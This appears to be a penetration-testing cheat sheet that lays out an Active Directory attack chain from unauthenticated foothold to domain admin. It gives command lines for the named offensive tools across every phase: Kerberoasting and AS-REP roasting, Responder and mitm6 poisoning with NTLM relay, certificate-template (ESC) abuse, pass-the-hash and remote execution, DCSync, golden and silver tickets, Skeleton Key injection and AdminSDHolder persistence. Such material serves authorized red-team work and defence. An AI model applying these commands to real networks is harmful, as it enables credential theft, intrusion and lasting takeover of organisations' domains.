Active Directory

Active Directory Methodology

Full AD attack chain from unauthenticated foothold to domain admin — enumeration, credential access, lateral movement, and domain compromise.

## Phase 1 — Enumeration

1.1

Unauthenticated Recon

› Port scan: 88 (Kerberos), 389/636 (LDAP), 445 (SMB), 5985 (WinRM)
› NetBIOS / LLMNR enumeration: nbtscan, responder --analyze
› SMB null session: enum4linux-ng -A <IP>, crackmapexec smb
› RPC null session: rpcclient -U '' -N <IP> → enumdomusers
› Identify DC: nslookup -type=SRV _ldap._tcp.dc._msdcs.<domain>

1.2

Authenticated Enumeration

› BloodHound CE collection: SharpHound.exe --CollectionMethods All
› PowerView: Get-DomainUser, Get-DomainGroup, Get-DomainComputer
› LDAP queries: ldapsearch / ldapdomaindump / windapsearch
› Find shares: crackmapexec smb <range> --shares
› Identify misconfigured ACLs: GenericAll, WriteDACL, ForceChangePassword

## Phase 2 — Credential Access

2.1

Kerberos Attacks

› AS-REP Roasting: GetNPUsers.py — accounts with pre-auth disabled
› Kerberoasting: GetUserSPNs.py — request TGS for service accounts
› Crack offline with Hashcat: -m 13100 (TGS) / -m 18200 (AS-REP)
› Kerberoast without credentials via LDAP anonymous bind
› Targeted Kerberoasting: set SPN on user, request TGS, crack, remove SPN

2.2

Credential Capture & Spraying

› LLMNR / NBT-NS poisoning: Responder → capture NTLMv2 hashes
› IPv6 DNS takeover: mitm6 + ntlmrelayx → LDAP relay
› Password spraying: crackmapexec smb --pass-pol first, then spray
› NTLM relay: ntlmrelayx -t ldap:// --delegate-access
› ADCS relay (ESC8): certipy relay + request certificate

2.3

ADCS / Certificate Abuse

› ESC1: SAN in template + enrollee supplies subject — forge any user cert
› ESC2: Any Purpose EKU — request cert for any template
› ESC4: Write access on template — modify to ESC1
› ESC6: EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA
› ESC8: NTLM relay to AD CS HTTP endpoint (certipy relay)

## Phase 3 — Lateral Movement

3.1

Pass-the-Hash / Ticket

› PTH via SMB: crackmapexec smb -H <NTLM> / impacket-psexec
› PTH via WinRM: evil-winrm -H <NTLM>
› Pass-the-Ticket: rubeus.exe ptt /ticket:<base64>
› Overpass-the-Hash → TGT: rubeus.exe asktgt /rc4:<NTLM>
› S4U2Self / S4U2Proxy (constrained delegation abuse)

3.2

Remote Execution

› WMI exec: impacket-wmiexec domain/user:pass@<IP>
› SMB exec: impacket-smbexec / psexec.py
› DCOM exec: impacket-dcomexec
› WinRM: evil-winrm -i <IP> -u <user> -p <pass>
› RDP pivoting via xfreerdp with domain creds

## Phase 4 — Privilege Escalation & Domain Compromise

4.1

ACL Abuse

› GenericAll on user → reset password / targeted Kerberoast
› GenericAll on group → add member
› WriteDACL on object → grant yourself GenericAll
› ForceChangePassword → reset without knowing current password
› WriteOwner → take ownership, then WriteDACL → GenericAll

4.2

Domain Compromise

› DCSync: secretsdump.py -just-dc-user Administrator domain/user:pass@DC
› Golden Ticket: ticketer.py with krbtgt hash — forge any TGT
› Silver Ticket: forge TGS for specific service with machine account hash
› Skeleton Key: inject master password into LSASS (Mimikatz)
› AdminSDHolder persistence: grant GenericAll on AdminSDHolder

4.3

Domain Trust Abuse

› Enumerate trusts: Get-DomainTrust / nltest /domain_trusts
› SID History injection for cross-domain privilege escalation
› Foreign group membership abuse
› Trust ticket attack: forge inter-realm TGT using trust key

## Tools Reference

BloodHound CESharpHoundPowerViewImpacketCrackMapExecRubeusMimikatzCertipyevil-winrmRespondermitm6ldapdomaindumpkerbruteHashcatsecretsdump.py